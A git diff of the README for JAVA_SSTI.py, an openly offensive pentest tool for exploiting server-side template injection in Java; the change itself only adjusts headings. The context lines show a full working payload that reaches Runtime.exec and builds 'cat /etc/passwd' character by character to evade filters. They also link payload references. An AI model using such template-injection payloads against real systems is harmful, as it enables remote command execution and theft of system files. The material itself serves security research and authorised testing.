diff --git a/README.md b/README.md index c3c6284..57ecd99 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# JAVA_SSTI +## JAVA_SSTI JAVA_SSTI.py assists the exploitation of Server-Side Template Injection vulnerabilities in java. The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tool during web application penetration tests. @@ -23,6 +23,6 @@ python3 java_ssti.py 'cat /etc/passwd' ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -# Reference +### References - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java